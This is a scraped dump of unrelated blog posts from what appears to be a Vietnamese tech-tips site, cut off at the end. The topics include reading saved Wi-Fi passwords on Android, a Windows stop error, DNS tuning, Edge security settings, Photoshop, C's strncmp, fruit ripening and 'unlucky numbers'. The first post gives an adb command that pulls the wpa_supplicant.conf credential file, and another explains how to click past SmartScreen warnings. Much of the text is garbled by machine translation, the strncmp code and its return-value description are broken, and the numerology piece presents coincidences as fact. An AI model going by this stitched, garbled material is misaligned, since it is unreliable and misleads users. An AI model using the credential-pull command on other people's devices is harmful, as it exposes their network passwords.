phone\nFirst of all, you will have to install the Android device's USB driver and ADB tool on your computer and laptop.\nTo download the ADB tool to your computer and install it, you can access it here.\n=\u0026gt; Link to download ADB Installer here\nThe next step is to extract the downloaded ZIP file and save it on the desktop.\nOn your Android device, open the app Settings (settings) =\u0026gt; About phone (introduce phone). Here find and click the Build Number option 7 times to unlock options for developers.\n  Next go back to the main settings window, open Developer options settings and enable USB debugging.\nStep 2: View the Wifi password saved on Android\nIn this step, connect your Android phone to the computer with a USB cable, then navigate to the ADB tool extraction folder you saved on the desktop.\nPress and hold the Shift key while right-clicking on it, and choose Open command window here from the menu.\nCopy and paste the following command into the command prompt and press Enter:\nadb pull /data/misc/wifi/wpa_supplicant.conf\n  The above command copies the contents of the wpa_supplicant.conf file in the Wifi folder and paste the content into the file in the folder when you unzip the ADB tool.\nOpen the file saved in the ADB folder on the desktop, where you can see all the Wifi passwords connected to your device.\nThe above article Taimienphi.vn just instructed you on some ways to view Wifi passwords saved on Android. Good luck. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRuv8CvnJ1lp56zqnnPmqqsr5%2BnsbR5zqdkmqaUp7yqsA%3D%3D\n","link":"/post/how-to-view-saved-wifi-passwords-on-android/","section":"post","tags":null,"title":"How to view saved wifi passwords on Android"},{"body":"Although it was introduced in Japan and the United States in the early days of December, but until this CES 2010, new visitors were able to see and touch the new ultraportable computer from Fujitsu under the code name. is LifeBook UH900.\nExtremely compact, portable, touch screen, using new Windows 7 and full of the most popular connections today are the most notable features of LifeBook UH900.\n[youtube] http://www.youtube.com/watch?v=4-yDAEZDsoA\u0026amp;feature=player_embedded [/ youtube]\nThe computer carries a 5.6 \"multi-touch screen, resolution of 1280 x 800 pixels, based on Intel's microprocessor platform (unknown specific chip line). It uses Windows operating system. 7, integrated professional positioning application and equipped with 2 USB 2.0 ports, a separate connection port (attached to a separate dock), an SD card slot, it almost does not lack a common wireless connection Currently, from Bluetooth, GPS (discrete chips) to Wifi and also 3.5G WWAN.\nSubjectively, it almost meets the connectivity needs, replaces larger netbooks and provides high mobility. Detailed configuration and retail information has not yet been provided.\n            ncG1vNJzZmismaXArq3KnmWcp51kuaqyxJumqKNdqrV6fI9mmGamlax6trjTq5ipp6KprqO4xGaaqKWgqsGmvoyfqailXZvCq7XTrKw%3D\n","link":"/post/lifebook-uh900-a-new-ultraportable-computer-from-fujitsu/","section":"post","tags":null,"title":"LifeBook UH900, a new ultraportable computer from Fujitsu"},{"body":"Error 0x00000109: Could not be selected entry entry is often caused by device driver modifying illegal kernel data. This article will give you some of the causes of errors and how to fix them.\nHow to fix error 0x00000109 The cause of error 0x00000109 1. Virus infection 2. System memory has a problem 3. The system driver is not updated 4. File system is broken  How to fix 0x00000109 error on Windows 1. Scan the virus 2. Run Windows Memory Diagnostic 3. Install update 4. Update device drivers 5. Run chkdsk  The cause of error 0x00000109 The above error occurs due to one or more of the following causes.\n1. Virus infection The common cause of error 0x00000109 is due to virus modifying the system kernel data. To fix this problem you should perform a clean boot and virus scan on the system.\n2. System memory has a problem Another common cause is that the RAM module works incorrectly. The module fails due to a power failure or a long time of use, so you should check the system memory periodically to make sure it works correctly.\n3. The system driver is not updated Sometimes after reinstalling the system or updating Windows, the system driver is not updated or installed correctly since then it cannot boot.\n4. File system is broken The last cause of 0x00000109 error is that the file system is corrupted due to a write / read error, power failure or virus attack.\nHow to fix 0x00000109 error on Windows Note : The following solutions apply to Windows Vista, 7, 8, and 10. Some require using a Microsoft Windows setup DVD or CD. If the computer does not have an installation disc or does not use the Windows setup media, you can use Easy Recovery Essentials for Windows instead. EasyRE will automatically find and fix many problems like error 0x00000109.\n1. Scan the virus If the 0x00000109 error occurs because the virus modifies kernel data, run reliable antivirus software.\nNote : If you delete an infected system file, Windows may not work correctly.\nOpen antivirus software and scan the entire system. Without antivirus software, you can use the virus scanner built into Easy Recovery Essentials to run outside Windows from CD / DVD or USB and scan the entire computer.\nThe Professional version of Easy Recovery Essentials for Windows has a powerful rootkit and virus scanner, which solves this problem and similar errors caused by viruses, rootkits, trojans or spyware. EasyRE is available for Windows XP, Vista, Windows 7, 8 and can be downloaded and created on the computer.\nThese Anti-Rootkit tools should and should be in the system Step 1 . Download Easy Recovery Essentials.\nStep 2 . Create a CD / DVD or USB boot. Refer to the article How to write an ISO image file to a CD or DVD.\nStep 3 . Start the computer from CD or USB Easy Recovery Essentials.\nStep 4 . When running EasyRE, select the Virus Scanner option and click Continue .\n  Step 5 . After the EasyRE scan drive computer, determine and select the drive letter for Windows from the list, then click the scan button to begin.\nStep 6 . EassyRE started scanning drivers for viruses, rootkits, trojans, spyware and other malware. Then EasyRE reports and kills the found virus.\nStep 7 . When completed, EasyRE will report the result, click on restart to restart the computer and check for changes.\n  2. Run Windows Memory Diagnostic Windows Memory Diagnostic tool can check memory to find corrupted data. To run this tool, follow the steps below:\nStep 1 . Launch Windows.\nStep 2 . Click on Start .\nStep 3 . Type windows memory diagnostic in the search box.\nStep 4 . Click Windows Memory Diagnostic from the list of search results.\nStep 5 . Follow the instructions on the screen.\n  If you cannot boot into Windows and run Windows Memory Diagnostic, you can run Automated Repair of Easy Recovery Essentials, it has a tool to check RAM and HDD.\nStep 1 . Boot into the PC from the USB or boot CD created on.\nStep 2 . Select the Automated Repair option and click Continue .\n  Step 3 . After EasyRE scans the driver, determine and select the driver character from the list, then click Automated Repair .\n  Step 4 . Easy Recovery Essentials will begin analyzing selected drivers, finding errors and automatically repairing drives, partitions, bootsector, file system, bootloader and registry.\nStep 5 . When the process is complete, EasyRE will report the search results. Click Restart button to restart PC and check for changes.\nStep 6 . The computer will boot again.\n  3. Install update Windows update may fix 0x00000109 error.\nStep 1 . Open Windows Updates by typing update into the search box.\nStep 2 . Click Update and Recovery .\nStep 3 . Click Choose how updates updates get installed .\nStep 4 . Select Install updates automatically in the Important updates section.\nStep 5 . Check the Give me recommended box updates updates the same way I receive important updates in Recommended updates section.\nStep 6 . Click OK .\n  How to keep your Windows computer up to date 4. Update device drivers If the above error is caused by a device driver failure, manual driver updates can fix the problem. Refer to the article 5 basic ways to update and update drivers for computers.\n5. Run chkdsk If error 0x00000109 is caused by HDD failure, run chkdsk to check and repair the hard drive.\nStep 1 . Boot into Windows from the Windows installation disc.\nStep 2. Click Repair your computer after selecting the language, the time, enter the appropriate keyboard.\nStep 3 . Select the Windows installation driver, usually C: and click on Next .\nStep 4 . Select Command Prompt when the System Recovery Options box appears.\nStep 5 . Enter the following command and press Enter .\n chkdsk C: / f  Replace the letter C: with your drive letter.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXpxxI9pZ2loYWWGbr%2FEpZycrJWZeqa606uwZpufqrmlec2oq2aalWK5sK3Dnptmp55ixKq6w6iurA%3D%3D\n","link":"/post/selected-entry-could-not-be-loaded-on-windows/","section":"post","tags":null,"title":"selected entry could not be loaded' on Windows"},{"body":"Network administration - Many factors play a role in determining the performance of a connection, such as server speed, network connection (wireless or wired), router and network bandwidth, as well as delay, . In this article we will show you how to speed up Internet connection by changing DNS server.\nThe majority of users often assume that their Internet connection bandwidth determines the overall performance of the connection. However, this is not entirely true. There are many factors that play a role in determining this overall performance, such as the server speed the user wants to connect, the type of network connection (wireless or wired), router and network bandwidth as well as latency. And one of the least interesting factors is the user's DNS (Domain Name System) server.\nWhen typing into a web address, your system will send a lookup request to the DNS server to find the IP address of the server hosting the website with that domain name. The same thing happens when you use Internet applications, email clients or other programs to access Internet resources. Basically, the Domain Name System is a naming system for Internet-connected devices that translates easy-to-remember domain names into pure-digit IP addresses.\nFor example, when you enter www.pcworld.com (or just pcworld.com ) into your browser, your system will respond by looking up its DNS resolution; If the required IP address is not already stored in the cache, your system will send a request to another DNS server, which is done until a server responds with a preferred address. case - in this case, 70.42.185.10. In the meantime, you have to wait until the request and the search is complete - and if the request fails at a certain server, your system must switch to another DNS server request.\nDNS servers basically act as intermediaries to link your system to all resources somewhere on the Internet. Typically, your ISP will provide DNS servers and assign them via DHCP (Dynamic Host Configuration Protocol). When they do this well, you won't see a slowdown in browsing or using online resources. It is for this reason that finding fast-processing DNS servers is a very important issue.\nSpeed ​​up Internet connection by changing DNS server The role of changing DNS settings Solve geographic questions Optimize DNS connection Demand for DNS speed  Find the fastest DNS server Configuring computers and routers The role of changing DNS settings Solve geographic questions Internet support infrastructure is a series of copper or fiber cables, connecting servers worldwide. Data is transmitted through these cables in the form of electromagnetic waves, at a fast rate equal to the speed of light. Although we cannot do anything to increase that speed, we can reduce the distance that these waves have to move. If the DNS server is located away from you, your browsing speed will be affected.\n  However, in fact, Internet speed is much more complicated than calculating the simple distance you often imagine. Google Public DNS is one of the most popular DNS server alternatives and uses two IP addresses (8.8.8.8 and 8.8.4.4). They are called anycast addresses, with many servers around the world to meet requests from these addresses. Servers that meet the changing requirements of the day depend on network conditions and traffic. Although it must respond to queries from many servers around the world, Google Public DNS is always ranked as one of the fastest DNS servers.\n  Google Public DNS has achieved this by working with Content Delivery Networks (CDN) - Content Delivery Network, to attach location data to DNS requests. In most cases, if you use Canada's DNS server, CDN will assume you are in Canada. This has an impact on the load speed and the content you see will be optimized for users in Canada. Currently, Google, along with OpenDNS, will attach your IP address to DNS requests. This means that the data is loaded from the local server for you, helping to improve your overall Internet speed.\nOptimize DNS connection When planning a move with Google Maps, you will see a number of different options. Some routes will take less time, even if they are larger distances. This may be due to a number of factors such as traffic, vehicles and average speed. When choosing DNS server to increase your Internet speed, you will face a series of similar factors. Selecting the most favorable path is called optimizing the link.\n  Some DNS servers, like servers provided by ISPs, will have large traffic, especially during peak periods. Some servers may be outdated or no longer effective in routing your data. The connection between the DNS server and your computer is only part of the solution to this problem because the site you want to access may require data from other websites such as ads or videos.\n  The complex interactions between servers and connections that help streamline optimization are indispensable measures for improving Internet speed. ISP DNS servers can be placed very close to you. However, that doesn't mean giving you the best performance. This is where a tool like Google's Namebench works. Namebench analyzes your connection and recommends the best DNS servers designed specifically for you.\nDemand for DNS speed Under the management of Dave Brailsford, the British Olympic cycling team has become one of the most successful riders of all time. They eventually won seven of the ten gold medals at the 2008 and 2012 Olympics. Their key to success was Brailsford's commitment to in principle profit margins. This is the principle that many small improvements bring about a significant improvement in overall.\nAlthough there is no way to increase the Internet speed, we can make many small modifications and improvements. These improvements work together to increase the overall Internet speed and DNS servers play an important role in this process. Changing your DNS server is not the only purpose. Alternative DNS servers can even provide greater security and privacy than your default options.\nFind the fastest DNS server   The DNS benchmark open source utility is used for Mac OS X, Windows and UNIX computers.For Windows systems, GRC's DNS Benchmark tool provides more detailed and comprehensive results.\nThe DNS servers provided by many ISPs by default do not always have the best or most reliable performance, while many other public DNS options meet this requirement. Finding the fastest DNS server for a connection is difficult for most users, so we'll show you how to find the fastest DNS server in the region and how to configure it. System to use them.\n  GRC's DNS Benchmark evaluates the performance and stability of thousands of DNS servers.\nStart by downloading two utilities to identify the fastest DNS server in your area: GRC's Namebench and DNS Benchmark DNS benchmark utility. Both have the same functions and it is best to run both to see if the results are consistent or not; However, DNS Benchmark is a utility with a more comprehensive option.\nTo run Namebench, simply download it and double-click the executable file. When the Namebench interface appears, check the Include global DNS providers and Include best available regional options DNS services , confirm that your location is set correctly in the corresponding drop-down menu, click the Start Benchmark button. Namebench will run several tests, then let you switch to the results page that lists the fastest DNS servers your system can access.\n  The DNS benchmark results page will display the list of DNS servers with the fastest response times.\nThe DNS Benchmark of GRC is similar. Download and double-click the executable file to run the utility. When the DNS Benchmark interface appears, click the Nameservers tab , then the Add / Remove button. The Edit DNS Server IPs window will open. Under this window, click the Build Nameserver Custom List option. In the results box that appears, click on the list, GRC DNS Benchmark can scan 4854 global DNS resolvers to answer questions whether they are accessible from your location or not. When the list is complete, click the Run Benchmark button on the Nameservers tab. When the benchmark finishes its work, the program will display the results automatically, sorting by response time.\nIn both benchmarks, the DNS server with the fastest response time will provide the best performance. Record the top IP addresses so you can use them later in the system configuration.\nConfiguring computers and routers   Configuring your preferred DSN server within Windows involves changing the IP addresses needed in the appropriate fields of the TCP / IPv4 Properties window.\nYou can set up Windows 7 to use your preferred DNS servers by changing the appropriate settings in the Network Connections control panel. Click the Start button; in the Search box, type Network Connections and press Enter . You should now see a list of network adapters installed on the system. DNS settings must be configured on all active network connections. On a desktop, configuration only needs to be done on one adapter, but on the notebook we need to configure both wired and wireless adapters if both are used.\nThe active network adapter will have the network name listed right below its name and no red X in the icon. Right-click on the active adapter, select Properties and click the Networking tab. On the Networking tab, you will see a list of items used by the network connection. In this list, highlight Internet Connection Protocol Version 4 (TCP / IPv4) and click the Properties button . In the window that appears, click the General tab if it is not already selected, and the radio button is labeled Use the following DNS server addresses . Two fields will become available - one is Preferred DNS server and another is Alternate DNS server. In the Preferred DNS server field, enter the fastest DNS server (according to the benchmark); In the Alternate DNS server field, enter the second DNS server. Click OK in that window and click OK again in the network properties window. Then close the network connection list and restart the system. You have now configured Windows to use the fastest DNS server in your area.\n  In order for all systems to connect to the Internet via a broadband router using the same DNS server, enter their IP address in the router's network address server settings.\nConfiguring Windows is a way to ensure that certain systems are using the fastest DNS servers available. To arrange for all systems to be configured via a broadband connection - regardless of their operating system - using the same DNS servers, you need to change the settings in your router.\nThe setup steps for routers to use preferred DNS servers are quite different for different routers, but the basic process is relatively similar. The best way is to see the router's user guide, below we have provided a few basic reference steps.\nMost routers allow you to set up their system via the web interface. Open the browser and enter 192.168.0.1 or 192.168.1.1 in the address bar. There are many IP addresses that most broadband routers today use. If both addresses do not get you into the router's configuration interface, you can find the router's IP address in its user guide. Select Control Panel, Network and Sharing Center, Change adapter settings ; double-click the active network connection; click Details ; and find the IP address listed below 'IPv4 Default Gateway'. Get that IP address and add http:/// to the front of it, then paste it into the address bar of your web browser.\nAfter entering the correct IP address, log in to the router with the appropriate credentials. If you don't know them, you can refer to the router's user manual. Once logged in, click Basic Setup or Network Setup, and you should see the section called 'Network Address Server Settings (DHCP)'. This section usually has two or three fields, this is where you can enter static DNS information. Enter the IP address for the fastest DNS servers in the region, save your changes and reboot the system.\nSee more:\nHow to change DNS to surf faster, speed up Internet 3 \"legitimate\" reasons to change DNS Server How to change DNS to see if Cloudflare really speeds up the network ncG1vNJzZmismaXArq3KnmWcp51kwLGxxJ1kXn1iWoVxcZd7XH5qVW19ZoShrqdmoZ6psrO6xK1knKeeo7KkwMiopWaaqWKwqa3NoKCnn12Zu7R50p6pr52i\n","link":"/post/speed-up-internet-connection-by-changing-dns-server/","section":"post","tags":null,"title":"Speed ​​up Internet connection by changing DNS server"},{"body":"So how can you reconfigure Edge to make your online browsing experience more secure?\n1. Microsoft Defender SmartScreen in Edge Many of the security features in Microsoft Edge work in tandem with Windows' built-in antivirus solution, Microsoft Defender.\nChances are you've seen Microsoft Defender SmartScreen in action. It is basically a filter that prevents users from accessing untrusted or malicious websites. It also warns users when they download potentially malicious files from the Internet.\nSmartScreen cross-checks websites and files with Microsoft's database for known threats. If a file has been downloaded enough times and is not reported by users or flagged by Microsoft Defender, the file is considered safe.\nThe functionality of Microsoft Defender SmartScreen is not limited to Edge. It is also integrated at the operating system level and works with the Microsoft Store.\nHow to bypass SmartScreen to visit incorrectly flagged websites There may be cases where SmartScreen blocks incorrect websites. If you're sure a website is safe, you can still visit it, although Microsoft doesn't recommend it.\n  Step 1: On the Windows Defender SmartScreen prompt in Edge, click More information.\nStep 2: Now, click Continue to the unsafe site (not recommended) option .\nStep 3: The website will open as usual.\nAlternatively, you can also report to Microsoft that the site has been flagged incorrectly.\nHow to enable or disable Microsoft Defender SmartScreen Microsoft Defender SmartScreen is always on by default, but you can choose to turn this setting on or off. You should leave it on, but if for some reason you need to disable the feature, you can do so by following these steps:\n  Step 1: Open Microsoft Edge and click on the three dots in the top right corner of the screen.\nStep 2: In the drop-down menu, click Settings.\nStep 3: Now, from the left navigation bar, click on Privacy, search, and services . It can be recognized by a lock icon next to it.\nStep 4: Scroll down until you find the Security section .\nStep 5: Use the toggle switch next to Microsoft Defender SmartScreen to enable or disable this feature.\n2. Manage Website Access in Edge Like all other browsers, you can manage how much access you give certain websites in Microsoft Edge. This includes settings like GPS access, microphone and webcam access.\nNormally, whenever you visit a website, it asks for the associated permissions. But these settings can be managed later and some access rights can be disabled without affecting the functionality of the website.\nFor example, some online meeting sites may request access to your location, although it is not necessary.\nHow to Control Website Access in Microsoft Edge   Step 1: Click the three dots in the top right corner of Microsoft Edge to open the options menu.\nStep 2: Now, click on Settings.\nStep 3: In the navigation bar on the left, click Cookies and site permissions .\nStep 4: Under Site Permissions \u0026gt; All permissions , you can change the general settings for all the websites you visit.\nStep 5: If you want to change the settings for specific sites, click All sites under Site Permissions.\nIt's important to note that when using incognito browsing in Microsoft Edge, your permission settings remain the same, and settings such as location or microphone access may not be automatically blocked.\n3. Microsoft Defender Application Guard feature in Edge If you're using the enterprise edition of Microsoft Windows or Microsoft Edge, you'll get an extra security measure called Application Guard .\nUsing this feature, business administrators can identify a set of trusted websites and all others that are considered unsafe by Microsoft Edge. Whenever you try to open a website that is not on the list, Edge opens it in a secure sandbox to prevent it from infecting your computer if the site is malicious.\nThis is a better alternative to block all other websites.\nHow to enable Application Guard   Step 1: In the Start menu search bar , type \"Control Panel\" and open it from the search results.\nStep 2: Make sure that Control Panel is set to View by: Category , then click Programs.\nStep 3: In the Programs window , select Turn Windows features on or off . You will need admin privileges to do so.\nStep 4: From the list of features, scroll down until you find Windows Defender Application Guard and click on the corresponding checkbox.\nStep 5: Click OK and restart the computer.\n4. Manage tracking in Microsoft Edge Most of the websites you visit use trackers to learn more about your browsing habits. For example, ads for the products you searched for may show up on the websites you visit, thanks to trackers. There are many ways to check if someone is following you online.\nSometimes, malicious trackers injected into your computer can cause a lot of harm if left undetected. Fortunately, Microsoft Edge allows you to block certain trackers or block them all.\nHow to block trackers in Microsoft Edge   Step 1: Launch Microsoft Edge and open the options menu using the three dots in the top right corner.\nStep 2: Click Settings. In the navigation bar on the left, select Privacy, search, and services .\nStep 3: Under Tracking Prevention , make sure it's turned on. You can choose from three modes: Basic, Balanced and Strict .\nStep 4: To add exceptions and allow trackers from certain websites, add them using the Exceptions option .\nStep 5: To see blocked trackers and know the websites that sent them, click on the Blocked trackers option .\nIn addition, you can also enable the option Send \"Do Not Track\" requests to enhance privacy and security while browsing the web.\nSetting tracking to Strict will result in a less personalized experience. In some cases, you may also lose a bit of functionality in certain websites.\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddlrGrwdKtZKydk6q%2FqsDYZqqerKSeu6i%2FjKKlZqWZmL%2Bwv86fq2adlJyy\n","link":"/post/steps-to-adjust-security-settings-in-microsoft-edge/","section":"post","tags":null,"title":"Steps to adjust security settings in Microsoft Edge"},{"body":"Step 1: First, you need to open the image to blur the background with Photoshop software.\nStep 2: Then, select the Selection item and select the Quick Selection Tool (W) to open the object selection tool.\n  Step 3: Next, you use that Quick Selection Tool to create a selection around the subject (the area does not need to open the background).\n  Step 4: After selecting the subject that does not need to be blurred, press Ctrl + C to Copy the subject. Next, you press Ctrl + L to create a new layer, finally you press Ctrl + V to paste that subject into the layer we just created.\nThis step will help you separate the subject into another layer and they will not be affected by other effects. In this case, Software Trick brought the subject out into a separate Layer 2.\n  Step 5: Next, select the Background layer (locked) and press Ctrl + J to duplicate the layer.\nThis step will help you restore to the default quickly if there is a mistake in the background blur process.\n  Step 6: You proceed to select Background Copy (appears when pressing Ctrl + J) and select Filter (1) -\u0026gt; Blur (2) and select the item Gaussian Blur… (3).\n  Step 7: When the Gaussian Blur window appears, you proceed to adjust the Radius item to increase the blur of the background. After selecting the appropriate parameters, you select OK to finish.\n  Step 8: So you have finished blurring the background, removing the background with Photoshop software.\n  In this article, TipsMake showed you how to blur the background with Photoshop software. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddl7m2voytn55lkpawrLPRqKynnF2eu268x6irqKuYpL0%3D\n","link":"/post/steps-to-blur-the-background-in-photoshop/","section":"post","tags":null,"title":"Steps to blur the background in Photoshop"},{"body":"The function int strncmp (const char * str1, const char * str2, size_t n) compares the first n bytes of str1 and str2.\nDeclaring the function strncmp () in C Below is the declaration for strncmp () in C:\nint strncmp ( const char * str1 , const char * str2 , size_t n )  Parameters str1 - This is the first string to be compared.\nstr2 - This is the second string to be compared.\nn - Maximum number of characters to be compared.\nReturns the value This function returns the following values:\nIf the value returns If the value returns\u0026gt; 0, this function indicates that str2 is shorter than str1.\nIf the return value = 0, this function indicates that str1 is equal to str2.\nFor example The following C program illustrates the usage of strncmp () in C:\n#include #include int main () { char str1 [ 15 ]; char str2 [ 15 ]; int ret ; strcpy ( str1 , \"abcdef\" ); strcpy ( str2 , \"ABCDEF\" ); ret = strncmp ( str1 , str2 , 4 ); if ( ret 0 ) { printf ( \"Chuoi str2 la ngan hon chuoi str1\" ); } else { printf ( \"Chuoi str1 la bang chuoi str2\" ); } return ( 0 ); }  Compiling and running the above C program will result:\n  According to Tutorialspoint\nPrevious article: Function strcmp () in C\nNext lesson: strcoll () function in C\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2Bsp5uknryvedKtqaebnaV6qrqMnA%3D%3D\n","link":"/post/the-function-strncmp-in-c/","section":"post","tags":null,"title":"The function strncmp () in C"},{"body":"Eating fruits daily is a good habit that everyone should practice. Like green vegetables, fruits provide the body with a large amount of vitamins as well as fiber that is good for the body.\nThere are countless fruits on the market today, but due to economic benefits, many people often ripen fruits with chemicals, which is very harmful to consumers' health. So buying green fruit for vinegar is the best way to use it. Here are some tips to help ripe fruits quickly without using chemicals, you can check.\n1. Make nine mangoes   Many people will love to eat green mango with salt and pepper, but ripe mango is also a favorite of many people especially children and the elderly. If you buy green mangoes and you want to quickly ripen mangoes, you can put mangoes in a bucket of rice to help them grow faster.\n  When the mango is put into a bucket of rice, the rice will preserve ethylene from the mango, so the mango will ripen faster. And after only one night, the mango was ripe and juicy right away. You use a cut knife to find soft mangoes and ripen them evenly.\n2. Make bananas   For bananas, you can also leave them in the natural environment, bananas will ripen. Or if you want faster, put them in a paper bag and add an apple in your pocket.\n  Then tie the bag and leave it overnight. Apples will help produce more ethylene to speed up the process of banana ripening faster. After a night, bananas will ripen to eat right away.\n3. Making butter   Butter is a favorite food of many people and contains many nutrients. Many people will choose to eat ripe avocado right away or you can also buy green avocado for vinegar to ripen well. If you make bananas, use apples, but make the butter and then use bananas. The method is similar to banana vinegar, put butter in a banana bag and wrap the bag in the mouth.\n  You also leave paper bags like that for one night. Bananas help produce ethylene, which helps to ripen butter effectively. And after only one night, the butter is cooked well!\n4. Ripe plum and peach   For plums, digging for these fruits to ripen quickly, you can use a thin towel to help them ripen quickly. When placing it, remember to turn over the stalks of the peach and plum. After that, use another piece of towel and cover it up and leave it overnight.\n  After one night, the plum and peach are cooked as well as they want.\nHopefully with these helpful tips you will have delicious and safe fruits when used for the whole family.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKycnKqVqXq1u4yhnKWomaO0br7IqZynZZWWsKl5xausoqxdrLa1tIynmK2topa5brXNoKmenJmau7W%2F\n","link":"/post/the-secret-to-helping-ripen-each-fruit-with-natural-ingredients/","section":"post","tags":null,"title":"The secret to helping ripen each fruit with natural ingredients"},{"body":"Besides the number 13, the number represents the misfortune, death, and the other 9 numbers are the horrors of many people around the world. Why are these numbers considered to be bad, unfortunate points?\nWhy is Friday 13th considered \"unlucky day\"? Decipher the mystery of pig birds, birds signal death 1. 39 is a scary figure in Afghanistan   Going to Afghanistan, especially in Kabul, you will not see the arrival of number 39 on hotel rooms, mobile phone numbers or home phones, even home addresses.\nThose who unfortunately have the number 39 on the phone number will have to change the number or use the hidden function when calling other people or nobody will dare to answer the phone when they call. If the license plate has a number, they will sell the car at a low price or find a way to fix the number 39 into 38.\nEven people here never say their true age when they are 39 years old. When asked the age, they will avoid avoiding the 39 as \"I am nearly 40\" or \"I'm 38 years old\".\n2. Phone number deadly 0888 888 888 in Bulgaria   Mobitel telecommunications company in Bulgaria had to stop providing phone number 0888 888 888 after three owners who used it were unfortunately dead within 10 years.\nThe first owner of this frightening phone number was Vladimir Grashnov, former Mobitel chief executive, where the number 0888 888 888 was issued. In 2001, Grashnov died of cancer when he was only 48 years old, but Many people believe that he was poisoned by radioactive substances.\nThe second was Konstantin Dimitrov, a Bulgarian drug lord. In 2003 Dimitrov was assassinated while eating at a restaurant in Amsterdam, Holland when he was 31 years old.\nThe last owner of the deadly phone number is Konstantin Dishliev, a property manager who is also involved in drug trafficking activities. Dishliev was shot dead in 2005 while standing near an Indian restaurant in the capital Sofia, Bulgaria.\nAfter the third owner of this scary phone number died, no one was brave enough to reuse it.\n3. Number 11 is haunting in America   There is so much detail in the 9/11 terrorist attacks in the US that many people are obsessed.\nThe World Trade Center's twin towers stand close to each other like a giant number 11. On September 11, terrorists let the plane crash into this twin tower.\nSeptember 11 is the 254th day of the year and the sum of the numbers 2, 5 and 4 is 11.\nThe first plane crashed into the twin towers was flight number 11, the number of crew was 11 and the number of passengers was 92 people (9 + 2 = 11).\nEven the words related to this event like NEW YORK CITY, AFGHANISTAN, RAMSIN YUSEB, GEORGE W. BUSH all have 11 letters.\n4. Scary number 17 with Italians   Number 17 is an unfortunate number for the Italians. Because they think that, when written in Roman numerals as XVII, it can create VIXI which means \"I lived\" - \"I have lived\" or \"I am dead\" in Latin.\nTherefore, number 17 does not appear on aircraft and hotels in Italy.\n5. The 250 number of Chinese people   Chinese people consider 250 to show offense. In Chinese, 250 is pronounced \"Èr bǎi wǔ\", this word also means \"stupid\", \"useless\" or \"futile\".\n6. The unlucky number 26 of the Indians   In India, number 26 is an unfortunate number, even deadly. Because a lot of devastating disasters have ever happened that are related to the number 26.\nOn January 26, 2001, earthquakes devastated Gujarat, causing the deaths of 20,000 people. On December 26, 2004, a terrible tsunami killed nearly 230,000 people. On May 26, 2007, a bomb exploded many people died and injured in the northeast of India. On July 26, 2008, many people died and were injured by a bomb exploded in Ahmedabad. On November 26, 2008, a series of bloody terrorist attacks occurred in India. In addition, 2 + 6 = 8, number 8 represents destruction, difficulty, and arithmetic failure.\n7. Numbers 9 and 4 are unlucky in Japan   Numbers 9 and 4 are considered unfortunate numbers in Japan. Because the pronunciation of 9 is similar to the word \"endure\", and the pronunciation of 4 is similar to the word \"death\" in Japanese.\nIn addition, the number 4 is considered to be the number of deaths because it corresponds to the final order in the circle of life \"Born - Old - Sick - Death\".\nMost hotels, high-rise buildings, apartments in the country of cherry blossoms do not have room numbers of 9.4 or 49.\n8. Scary number 7   In 2014, a series of aircraft accidents involving No. 7 made many people fearless.\nOn July 24, the AH5017 crashed with 116 people in Niger or Mali while flying from Ouagadougou (Burkina Faso) to Algiers (Algerie).\nOn July 23, Taiwan's ATR72 aircraft bearing the number GE222 fell from a height of about 28m down a building, killing 48 people while making an emergency landing in the area affected by the hurricane Matmo.\nMalaysia Airlines flight MH17 crashed in eastern Ukraine causing 298 people to die in the journey from Amsterdam (Netherlands) to Kuala Lumpur. July 17, 1997 MH17 flew first and died on July 17, 2014, after exactly 17 years.\nMalaysia Airlines flight MH370 carrying 239 mysterious missing people so far has no solution.\n9. 666 Satan's numbers   \nFor Westerners, the number 666 is scary, a symbol of temptation, causing people to mislead and make irreparable mistakes. In the last volume of the New Testament, also known as the book of Revelation, the number 666 is said to be an imprint of Satan's demon, the serpent seduced Adam and Eva to eat the forbidden fruit.\nncG1vNJzZmismaXArq3KnmWcp51kwamx0p5krJuRp8ZuutSmmZ6qo2Kus7GMoZiupqSeu6h5wKWjZqemmr9uwMeeZLCnoqGx\n","link":"/post/these-scary-numbers-are-haunting-all-over-the-world/","section":"post","tags":null,"title":"These scary numbers are haunting all over the world"},{"body":"In 2019, Microsoft launched the Windows Virtual Desktop service to deliver a multi-user Windows 10 experience from the cloud. Currently, Windows Virtual Desktop has been renamed to Azure Virtual Desktop.\nAzure Virtual Desktop has become a popular cloud VDI platform for running computers and applications in the cloud and delivering a full Windows experience to users anywhere. Even more, Azure Virtual Desktop provides simplified management, optimized for Office 365 ProPlus and supports Remote Desktop Services environments.\nAlong with Windows 10, Windows 7 and Windows Server, Microsoft has just announced that they have added Windows 11 to the list of operating systems that work on Azure Virtual Desktop.\n  Enterprise and Education customers can now access Azure Virtual Desktop to test out the Windows 11 Insider Preview. Because it is a virtual machine environment, customers are free to set up their tests.\nWith Windows 11, Azure Virtual Desktop still offers exclusive multi-session support, a feature that helps businesses optimize costs by allowing multiple users to share a single Azure virtual machine. You can use Trusted Launch to enable TPM 2.0 for secure boot, taking full advantage of the security capabilities of Windows 11.\nThe Windows 11 experience on Azure Virtual Desktop will be the same as on a desktop. However, some graphics effects may require proper GPU support.\nYou can go to Azure Marketplace and choose from the following three versions of Windows 11:\nWindows 11 Enterprise (Preview) Windows 11 Enterprise multi-session (Preview) Windows 11 Enterprise multi-session + Microsoft 365 Apps (Preview) Windows 11 for PCs is expected to be released to users later this year.\nwindows 11 ncG1vNJzZmismaXArq3KnmWcp51krq2%2BxJqbsmWRl7mmedOoZK2do6l6uLXNnaawq11mfm67zWaYs62imnq3tdGtrJqkXZmytLfTqKc%3D\n","link":"/post/already-able-to-test-windows-11-on-azure-virtual-desktop/","section":"post","tags":null,"title":"Already able to test Windows 11 on Azure Virtual Desktop"},{"body":"We have a new entry in the glimmers-of-hope-in-the-world category. Please give a hand to Ying Ying and Le Le, two giant pandas at the\u0026nbsp;Ocean Park\u0026nbsp;theme park in Hong Kong. The panda pair successfully hooked up for the first time in nine years of mating attempts.\nOcean Park, which is currently closed due to coronavirus concerns, announced the happy coupling on social media on Monday.\u0026nbsp;\n The two bears had been trying to mate naturally since 2011. It's not easy. Pandas International, a nonprofit dedicated to panda conservation, says the rate is \"quite low\" for natural 